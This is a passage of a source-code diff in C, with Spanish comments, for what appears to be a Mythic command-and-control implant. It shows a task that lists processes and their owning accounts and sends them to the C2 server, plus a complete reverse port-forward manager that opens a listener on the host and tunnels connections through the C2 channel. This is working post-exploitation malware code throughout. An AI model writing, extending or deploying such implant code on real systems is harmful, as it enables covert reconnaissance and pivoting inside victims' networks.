nombreCuenta[0] != '\0' ? nombreCuenta : "",
|
||||
sid != -1 ? sid : 0);
|
||||
|
||||
} while (Process32Next(toolhelp, &pe));
|
||||
}
|
||||
else {
|
||||
DWORD error = GetLastError();
|
||||
|
||||
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(errorPaquete, tareaUuid, FALSE);
|
||||
addInt32(errorPaquete, error);
|
||||
mandarPaquete(errorPaquete);
|
||||
liberarPaquete(errorPaquete);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||
if (!respuestaAnalizador) {
|
||||
_err("[-] Error al mandar paquete\n");
|
||||
}
|
||||
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
cleanup:
|
||||
if (toolhelp) {
|
||||
CloseHandle(toolhelp);
|
||||
}
|
||||
liberarPaquete(salida);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
#ifndef PROCESOS_H
|
||||
#define PROCESOS_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
VOID listarProcesos(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,757 @@
|
||||
#include "rpfwd_manager.h"
|
||||
#include "debug.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include "utils.h"
|
||||
#include <stdint.h>
|
||||
#include <errno.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#pragma comment(lib,"Ws2_32.lib")
|
||||
typedef SOCKET sock_t;
|
||||
#define CLOSESOCK(s) closesocket(s)
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
typedef int sock_t;
|
||||
#define INVALID_SOCKET -1
|
||||
#define SOCKET_ERROR -1
|
||||
#define CLOSESOCK(s) close(s)
|
||||
#endif
|
||||
|
||||
|
||||
volatile int rpfwd_active = 0; // Flag global de estado RPFWD
|
||||
|
||||
typedef struct rpfwd_conn_entry {
|
||||
uint32_t server_id;
|
||||
sock_t sock;
|
||||
uint32_t port; // Local port this connection is on
|
||||
struct rpfwd_conn_entry *next;
|
||||
int closed;
|
||||
} rpfwd_conn_entry_t;
|
||||
|
||||
static rpfwd_conn_entry_t *conn_list = NULL;
|
||||
#ifdef _WIN32
|
||||
static CRITICAL_SECTION conn_lock;
|
||||
#else
|
||||
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
#endif
|
||||
|
||||
typedef struct outgoing_node {
|
||||
rpfwd_msg_t msg;
|
||||
struct outgoing_node *next;
|
||||
} outgoing_node_t;
|
||||
static outgoing_node_t *out_head = NULL;
|
||||
static outgoing_node_t *out_tail = NULL;
|
||||
|
||||
#ifdef _WIN32
|
||||
static CRITICAL_SECTION out_lock;
|
||||
#else
|
||||
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
#endif
|
||||
|
||||
static sock_t listener_sock = INVALID_SOCKET;
|
||||
static uint16_t listener_port = 0;
|
||||
|
||||
#ifdef _WIN32
|
||||
static HANDLE listener_thread_handle = NULL;
|
||||
#else
|
||||
static pthread_t listener_thread_id = 0;
|
||||
#endif
|
||||
|
||||
/* === Inicialización / limpieza === */
|
||||
|
||||
void rpfwd_manager_init(void) {
|
||||
_inf("rpfwd_manager_init: INICIO");
|
||||
static int initialized = 0;
|
||||
if (initialized) {
|
||||
_inf("rpfwd_manager_init: Ya inicializado, retornando");
|
||||
return;
|
||||
}
|
||||
initialized = 1;
|
||||
_inf("rpfwd_manager_init: Inicializando por primera vez...");
|
||||
|
||||
#ifdef _WIN32
|
||||
_inf("rpfwd_manager_init: Inicializando CriticalSections...");
|
||||
InitializeCriticalSection(&conn_lock);
|
||||
InitializeCriticalSection(&out_lock);
|
||||
_inf("rpfwd_manager_init: Inicializando Winsock...");
|
||||
WSADATA wsa;
|
||||
int wsa_ret = WSAStartup(MAKEWORD(2,2), &wsa);
|
||||
if (wsa_ret != 0) {
|
||||
_err("rpfwd_manager_init: WSAStartup falló con error %d", wsa_ret);
|
||||
} else {
|
||||
_inf("rpfwd_manager_init: WSAStartup OK");
|
||||
}
|
||||
#else
|
||||
pthread_mutex_init(&conn_lock, NULL);
|
||||
pthread_mutex_init(&out_lock, NULL);
|
||||
#endif
|
||||
_inf("rpfwd_manager_init: COMPLETADO");
|
||||
}
|
||||
|
||||
void rpfwd_manager_cleanup(void) {
|
||||
_dbg("rpfwd_manager_cleanup()");
|
||||
rpfwd_manager_stop_listener();
|
||||
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
rpfwd_conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
rpfwd_conn_entry_t *n = cur->next;
|
||||
free(cur);
|
||||
cur = n;
|
||||
}
|
||||
conn_list = NULL;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
DeleteCriticalSection(&conn_lock);
|
||||
DeleteCriticalSection(&out_lock);
|
||||
WSACleanup();
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
pthread_mutex_destroy(&conn_lock);
|
||||
pthread_mutex_destroy(&out_lock);
|
||||
#endif
|
||||
rpfwd_active = 0;
|
||||
}
|
||||
|
||||
/* === Gestión de conexiones === */
|
||||
|
||||
static rpfwd_conn_entry_t* find_entry(uint32_t server_id) {
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
rpfwd_conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->server_id == server_id) {
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return cur;
|
||||
}
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static rpfwd_conn_entry_t* create_entry(uint32_t server_id, sock_t s, uint32_t port) {
|
||||
rpfwd_conn_entry_t *e = malloc(sizeof(rpfwd_conn_entry_t));
|
||||
if (!e) return NULL;
|
||||
e->server_id = server_id;
|
||||
e->sock = s;
|
||||
e->port = port;
|
||||
e->next = NULL;
|
||||
e->closed = 0;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
e->next = conn_list;
|
||||
conn_list = e;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
_dbg("create_entry sid=%u sock=%d port=%u", server_id, (int)s, port);
|
||||
return e;
|
||||
}
|
||||
|
||||
static void remove_entry(uint32_t server_id) {
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
rpfwd_conn_entry_t *cur = conn_list, *prev = NULL;
|
||||
while (cur) {
|
||||
if (cur->server_id == server_id) {
|
||||
if (prev) prev->next = cur->next;
|
||||
else conn_list = cur->next;
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
_dbg("remove_entry sid=%u", server_id);
|
||||
free(cur);
|
||||
break;
|
||||
}
|
||||
prev = cur;
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* === Cola de salida === */
|
||||
|
||||
static void enqueue_outgoing(rpfwd_msg_t *m) {
|
||||
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu port=%u", m->server_id, m->exit_flag, m->data_len, m->port);
|
||||
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
|
||||
memset(n,0,sizeof(*n));
|
||||
n->msg.server_id = m->server_id;
|
||||
n->msg.exit_flag = m->exit_flag;
|
||||
n->msg.data_len = m->data_len;
|
||||
n->msg.port = m->port;
|
||||
if (m->data_len) {
|
||||
n->msg.data = malloc(m->data_len);
|
||||
memcpy(n->msg.data, m->data, m->data_len);
|
||||
} else n->msg.data = NULL;
|
||||
n->next = NULL;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&out_lock);
|
||||
#endif
|
||||
if (!out_tail) out_head = out_tail = n;
|
||||
else { out_tail->next = n; out_tail = n; }
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&out_lock);
|
||||
#endif
|
||||
_dbg("Mensaje RPFWD encolado OK (sid=%u)", m->server_id);
|
||||
}
|
||||
|
||||
/* === Volcado de cola de salida === */
|
||||
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx) {
|
||||
_dbg("rpfwd_flush_outgoing: iniciando");
|
||||
if (!cb) {
|
||||
_err("ERROR: callback es NULL");
|
||||
return;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&out_lock);
|
||||
#endif
|
||||
outgoing_node_t *n = out_head;
|
||||
out_head = out_tail = NULL;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&out_lock);
|
||||
#endif
|
||||
|
||||
int count = 0;
|
||||
while (n) {
|
||||
count++;
|
||||
_dbg("rpfwd_flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu port=%u)",
|
||||
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len, n->msg.port);
|
||||
outgoing_node_t *next = n->next;
|
||||
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, n->msg.port, ctx);
|
||||
if (n->msg.data) free(n->msg.data);
|
||||
free(n);
|
||||
n = next;
|
||||
}
|
||||
_dbg("rpfwd_flush_outgoing: completado (%d mensajes procesados)", count);
|
||||
}
|
||||
|
||||
/* === Generar server_id único === */
|
||||
static uint32_t generate_server_id(void) {
|
||||
// Generate random server_id (uint32_t)
|
||||
// Use combination of time and random
|
||||
#ifdef _WIN32
|
||||
srand((unsigned int)(time(NULL) ^ GetCurrentProcessId()));
|
||||
#else
|
||||
srand((unsigned int)(time(NULL) ^ getpid()));
|
||||
#endif
|
||||
uint32_t sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
|
||||
// Ensure it's unique by checking existing entries (limit iterations to avoid infinite loop)
|
||||
int max_iterations = 100;
|
||||
while (find_entry(sid) != NULL && max_iterations-- > 0) {
|
||||
sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
|
||||
}
|
||||
if (max_iterations <= 0) {
|
||||
_err("rpfwd ERROR: Could not generate unique server_id");
|
||||
sid = 0;
|
||||
}
|
||||
return sid;
|
||||
}
|
||||
|
||||
/* === Thread lector (lee de conexión local y envía a Mythic) === */
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI rpfwd_reader_thread(LPVOID arg);
|
||||
#else
|
||||
static void* rpfwd_reader_thread(void* arg);
|
||||
#endif
|
||||
|
||||
typedef struct rpfwd_reader_args {
|
||||
uint32_t server_id;
|
||||
sock_t s;
|
||||
uint32_t port;
|
||||
} rpfwd_reader_args_t;
|
||||
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI rpfwd_reader_thread(LPVOID arg) {
|
||||
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
|
||||
if (!ra) {
|
||||
_err("rpfwd_reader_thread: arg is NULL");
|
||||
return 1;
|
||||
}
|
||||
uint32_t sid = ra->server_id;
|
||||
sock_t s = ra->s;
|
||||
uint32_t port = ra->port;
|
||||
free(ra);
|
||||
_dbg("rpfwd_reader_thread iniciado para sid=%u socket=%d port=%u", sid, (int)s, port);
|
||||
unsigned char *buf = (unsigned char*)malloc(4096);
|
||||
if (!buf) {
|
||||
_err("rpfwd_reader_thread: malloc failed");
|
||||
CLOSESOCK(s);
|
||||
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||
enqueue_outgoing(&m2);
|
||||
return 1;
|
||||
}
|
||||
int loop_count = 0;
|
||||
while (1) {
|
||||
loop_count++;
|
||||
_dbg("rpfwd sid=%u loop #%d, llamando recv()...", sid, loop_count);
|
||||
int r = recv(s, (char*)buf, 4096, 0);
|
||||
_dbg("rpfwd sid=%u recv() retornó r=%d", sid, r);
|
||||
if (r < 0) {
|
||||
int err = WSAGetLastError();
|
||||
_dbg("rpfwd WSAError=%d", err);
|
||||
}
|
||||
if (r <= 0) break;
|
||||
_dbg("rpfwd sid=%u recibió %d bytes, encolando...", sid, r);
|
||||
// Allocate new buffer for the message
|
||||
unsigned char *msg_buf = (unsigned char*)malloc(r);
|
||||
if (msg_buf) {
|
||||
memcpy(msg_buf, buf, r);
|
||||
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
|
||||
enqueue_outgoing(&m);
|
||||
_dbg("rpfwd sid=%u datos encolados OK", sid);
|
||||
} else {
|
||||
_err("rpfwd_reader_thread: malloc for msg_buf failed");
|
||||
}
|
||||
}
|
||||
_dbg("rpfwd sid=%u salió del loop, cerrando socket", sid);
|
||||
free(buf);
|
||||
_dbg("rpfwd reader sid=%u closing", sid);
|
||||
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||
enqueue_outgoing(&m2);
|
||||
CLOSESOCK(s);
|
||||
_dbg("rpfwd reader thread terminado para sid=%u", sid);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static void* rpfwd_reader_thread(void* arg) {
|
||||
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
|
||||
if (!ra) {
|
||||
_err("rpfwd_reader_thread: arg is NULL");
|
||||
return NULL;
|
||||
}
|
||||
uint32_t sid = ra->server_id;
|
||||
sock_t s = ra->s;
|
||||
uint32_t port = ra->port;
|
||||
free(ra);
|
||||
unsigned char *buf = (unsigned char*)malloc(4096);
|
||||
if (!buf) {
|
||||
_err("rpfwd_reader_thread: malloc failed");
|
||||
CLOSESOCK(s);
|
||||
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||
enqueue_outgoing(&m2);
|
||||
return NULL;
|
||||
}
|
||||
while (1) {
|
||||
ssize_t r = recv(s, buf, 4096, 0);
|
||||
if (r <= 0) break;
|
||||
_dbg("rpfwd reader sid=%u recv=%zd", sid, r);
|
||||
// Allocate new buffer for the message
|
||||
unsigned char *msg_buf = (unsigned char*)malloc(r);
|
||||
if (msg_buf) {
|
||||
memcpy(msg_buf, buf, r);
|
||||
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
|
||||
enqueue_outgoing(&m);
|
||||
} else {
|
||||
_err("rpfwd_reader_thread: malloc for msg_buf failed");
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
_dbg("rpfwd reader sid=%u closing", sid);
|
||||
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||
enqueue_outgoing(&m2);
|
||||
CLOSESOCK(s);
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* === Thread listener (acepta conexiones locales) === */
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI rpfwd_listener_thread(LPVOID arg);
|
||||
#else
|
||||
static void* rpfwd_listener_thread(void* arg);
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI rpfwd_listener_thread(LPVOID arg) {
|
||||
uint16_t port = *(uint16_t*)arg;
|
||||
free(arg);
|
||||
_inf("rpfwd_listener_thread iniciado en puerto %u", port);
|
||||
|
||||
struct sockaddr_in sa;
|
||||
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (listen_sock == INVALID_SOCKET) {
|
||||
DWORD err = WSAGetLastError();
|
||||
_err("rpfwd ERROR: socket() failed, WSAError=%lu", err);
|
||||
rpfwd_active = 0;
|
||||
return 1;
|
||||
}
|
||||
_inf("rpfwd socket creado exitosamente");
|
||||
|
||||
// Set SO_REUSEADDR
|
||||
int opt = 1;
|
||||
if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) != 0) {
|
||||
DWORD err = WSAGetLastError();
|
||||
_wrn("rpfwd WARNING: setsockopt SO_REUSEADDR failed, WSAError=%lu (continuando...)", err);
|
||||
}
|
||||
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = INADDR_ANY;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
DWORD err = WSAGetLastError();
|
||||
_err("rpfwd ERROR: bind() failed on port %u, WSAError=%lu", port, err);
|
||||
if (err == WSAEACCES || err == 10013) {
|
||||
_err("rpfwd ERROR: Puerto %u requiere privilegios de administrador (puertos privilegiados: <1024)", port);
|
||||
_err("rpfwd ERROR: Sugerencia: Usa un puerto no privilegiado (>=1024), ej: 8080, 4444, 5555");
|
||||
} else if (err == WSAEADDRINUSE || err == 10048) {
|
||||
_err("rpfwd ERROR: Puerto %u ya está en uso", port);
|
||||
} else {
|
||||
_err("rpfwd ERROR: Error desconocido al hacer bind(), WSAError=%lu", err);
|
||||
}
|
||||
CLOSESOCK(listen_sock);
|
||||
rpfwd_active = 0;
|
||||
return 1;
|
||||
}
|
||||
_inf("rpfwd bind exitoso en puerto %u", port);
|
||||
|
||||
if (listen(listen_sock, 10) != 0) {
|
||||
DWORD err = WSAGetLastError();
|
||||
_err("rpfwd ERROR: listen() failed, WSAError=%lu", err);
|
||||
CLOSESOCK(listen_sock);
|
||||
rpfwd_active = 0;
|
||||
return 1;
|
||||
}
|
||||
_inf("rpfwd listen exitoso");
|
||||
|
||||
listener_sock = listen_sock;
|
||||
_inf("rpfwd listener escuchando en puerto %u (socket=%d)", port, (int)listen_sock);
|
||||
|
||||
while (rpfwd_active) {
|
||||
struct sockaddr_in client_addr;
|
||||
int addr_len = sizeof(client_addr);
|
||||
_dbg("rpfwd esperando conexión en puerto %u...", port);
|
||||
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
|
||||
|
||||
if (client_sock == INVALID_SOCKET) {
|
||||
DWORD err = WSAGetLastError();
|
||||
if (!rpfwd_active) {
|
||||
_inf("rpfwd listener deteniéndose (rpfwd_active=0)");
|
||||
break;
|
||||
}
|
||||
if (err != WSAEWOULDBLOCK && err != 0) {
|
||||
_wrn("rpfwd accept() error: WSAError=%lu (continuando...)", err);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Generate unique server_id for this connection
|
||||
uint32_t sid = generate_server_id();
|
||||
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
|
||||
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
|
||||
|
||||
// Set timeout
|
||||
int timeout_ms = 60000; // 60s
|
||||
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
|
||||
|
||||
// Create entry
|
||||
create_entry(sid, client_sock, port);
|
||||
|
||||
// Spawn reader thread
|
||||
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
|
||||
if (!ra) {
|
||||
_err("rpfwd ERROR: malloc failed for reader args");
|
||||
CLOSESOCK(client_sock);
|
||||
continue;
|
||||
}
|
||||
ra->server_id = sid;
|
||||
ra->s = client_sock;
|
||||
ra->port = port;
|
||||
|
||||
// Send initial data notification to Mythic (empty data, new connection)
|
||||
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
|
||||
enqueue_outgoing(&m);
|
||||
|
||||
HANDLE th = CreateThread(NULL, 0, rpfwd_reader_thread, ra, 0, NULL);
|
||||
if (!th) {
|
||||
_err("rpfwd ERROR: CreateThread failed for reader");
|
||||
free(ra);
|
||||
CLOSESOCK(client_sock);
|
||||
remove_entry(sid);
|
||||
continue;
|
||||
}
|
||||
CloseHandle(th); // Don't wait for thread, just close handle
|
||||
}
|
||||
|
||||
CLOSESOCK(listen_sock);
|
||||
listener_sock = INVALID_SOCKET;
|
||||
_dbg("rpfwd_listener_thread terminado");
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static void* rpfwd_listener_thread(void* arg) {
|
||||
uint16_t port = *(uint16_t*)arg;
|
||||
free(arg);
|
||||
_dbg("rpfwd_listener_thread iniciado en puerto %u", port);
|
||||
|
||||
struct sockaddr_in sa;
|
||||
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (listen_sock == INVALID_SOCKET) {
|
||||
_err("rpfwd ERROR: socket() failed");
|
||||
return (void*)(intptr_t)1;
|
||||
}
|
||||
|
||||
// Set SO_REUSEADDR
|
||||
int opt = 1;
|
||||
setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
|
||||
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = INADDR_ANY;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
_err("rpfwd ERROR: bind() failed on port %u, errno=%d", port, errno);
|
||||
CLOSESOCK(listen_sock);
|
||||
return (void*)(intptr_t)1;
|
||||
}
|
||||
|
||||
if (listen(listen_sock, 10) != 0) {
|
||||
_err("rpfwd ERROR: listen() failed, errno=%d", errno);
|
||||
CLOSESOCK(listen_sock);
|
||||
return (void*)(intptr_t)1;
|
||||
}
|
||||
|
||||
listener_sock = listen_sock;
|
||||
_dbg("rpfwd listener escuchando en puerto %u", port);
|
||||
|
||||
while (rpfwd_active) {
|
||||
struct sockaddr_in client_addr;
|
||||
socklen_t addr_len = sizeof(client_addr);
|
||||
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
|
||||
|
||||
if (client_sock == INVALID_SOCKET) {
|
||||
if (!rpfwd_active) break;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Generate unique server_id
|
||||
uint32_t sid = generate_server_id();
|
||||
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
|
||||
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
|
||||
|
||||
// Set timeout
|
||||
struct timeval timeout;
|
||||
timeout.tv_sec = 60;
|
||||
timeout.tv_usec = 0;
|
||||
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
|
||||
|
||||
// Create entry
|
||||
create_entry(sid, client_sock, port);
|
||||
|
||||
// Spawn reader thread
|
||||
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
|
||||
if (!ra) {
|
||||
_err("rpfwd ERROR: malloc failed for reader args");
|
||||
CLOSESOCK(client_sock);
|
||||
continue;
|
||||
}
|
||||
ra->server_id = sid;
|
||||
ra->s = client_sock;
|
||||
ra->port = port;
|
||||
|
||||
// Send initial data notification to Mythic (empty data, new connection)
|
||||
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
|
||||
enqueue_outgoing(&m);
|
||||
|
||||
pthread_t tid;
|
||||
if (pthread_create(&tid, NULL, rpfwd_reader_thread, ra) != 0) {
|
||||
_err("rpfwd ERROR: pthread_create failed for reader");
|
||||
free(ra);
|
||||
CLOSESOCK(client_sock);
|
||||
remove_entry(sid);
|
||||
continue;
|
||||
}
|
||||
pthread_detach(tid);
|
||||
}
|
||||
|
||||
CLOSESOCK(listen_sock);
|
||||
listener_sock = INVALID_SOCKET;
|
||||
_dbg("rpfwd_listener_thread terminado");
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* === Procesamiento principal (datos desde Mythic hacia conexión local) === */
|
||||
int rpfwd_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port) {
|
||||
_dbg("rpfwd_process_incoming: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
|
||||
if (server_id == 0) {
|
||||
_err("rpfwd ERROR: invalid server_id=%u", server_id);
|
||||
return -4;
|
||||
}
|
||||
|
||||
if (exit_flag) {
|
||||
_dbg("rpfwd Exit flag set, removiendo entry sid=%u", server_id);
|
||||
remove_entry(server_id);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rpfwd_conn_entry_t *e = find_entry(server_id);
|
||||
if (!e) {
|
||||
_dbg("rpfwd Nueva conexión desde Mythic para sid=%u, pero no existe entry local", server_id);
|
||||
// Entry doesn't exist - might be a new connection notification from Mythic
|
||||
// This is normal for RPFWD, just ignore
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (e->closed) {
|
||||
_dbg("rpfwd Conexión sid=%u ya está cerrada", server_id);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Forward data to local TCP connection
|
||||
if (data_len > 0 && data) {
|
||||
int sent = send(e->sock, (const char*)data, (int)data_len, 0);
|
||||
if (sent <= 0) {
|
||||
_dbg("rpfwd Error enviando datos a sid=%u, cerrando", server_id);
|
||||
remove_entry(server_id);
|
||||
rpfwd_msg_t m = {server_id, 1, NULL, 0, port};
|
||||
enqueue_outgoing(&m);
|
||||
return -1;
|
||||
}
|
||||
_dbg("rpfwd Enviados %d bytes a sid=%u", sent, server_id);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* === Start/Stop listener === */
|
||||
int rpfwd_manager_start_listener(uint16_t local_port) {
|
||||
if (rpfwd_active) {
|
||||
_dbg("rpfwd ya está activo en puerto %u", listener_port);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rpfwd_manager_init();
|
||||
rpfwd_active = 1;
|
||||
listener_port = local_port;
|
||||
_inf("rpfwd_manager_start_listener: iniciando listener en puerto %u", local_port);
|
||||
|
||||
uint16_t *port_arg = (uint16_t*)malloc(sizeof(uint16_t));
|
||||
if (!port_arg) {
|
||||
_err("rpfwd ERROR: malloc failed for port_arg");
|
||||
rpfwd_active = 0;
|
||||
return -1;
|
||||
}
|
||||
*port_arg = local_port;
|
||||
|
||||
#ifdef _WIN32
|
||||
listener_thread_handle = CreateThread(NULL, 0, rpfwd_listener_thread, port_arg, 0, NULL);
|
||||
if (!listener_thread_handle) {
|
||||
_err("rpfwd ERROR: failed to create listener thread (error: %lu)", GetLastError());
|
||||
rpfwd_active = 0;
|
||||
free(port_arg);
|
||||
return -1;
|
||||
}
|
||||
_inf("rpfwd listener thread creado exitosamente");
|
||||
// Don't close handle immediately - we need it to check if thread is still alive
|
||||
#else
|
||||
if (pthread_create(&listener_thread_id, NULL, rpfwd_listener_thread, port_arg) != 0) {
|
||||
_err("rpfwd ERROR: failed to create listener thread");
|
||||
rpfwd_active = 0;
|
||||
free(port_arg);
|
||||
return -1;
|
||||
}
|
||||
_inf("rpfwd listener thread creado exitosamente");
|
||||
pthread_detach(listener_thread_id);
|
||||
#endif
|
||||
|
||||
// Give the thread a moment to initialize and report any errors
|
||||
Sleep(100);
|
||||
|
||||
// Check if the listener socket was created successfully
|
||||
if (listener_sock == INVALID_SOCKET && rpfwd_active) {
|
||||
_wrn("rpfwd listener socket no se creó, thread podría haber fallado");
|
||||
// Thread might have failed - reset active flag
|
||||
rpfwd_active = 0;
|
||||
return -2;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int rpfwd_manager_stop_listener(void) {
|
||||
_dbg("rpfwd_manager_stop_listener()");
|
||||
rpfwd_active = 0;
|
||||
|
||||
if (listener_sock != INVALID_SOCKET) {
|
||||
CLOSESOCK(listener_sock);
|
||||
listener_sock = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
if (listener_thread_handle) {
|
||||
WaitForSingleObject(listener_thread_handle, 2000);
|
||||
CloseHandle(listener_thread_handle);
|
||||
listener_thread_handle = NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
rpfwd_conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
|
||||
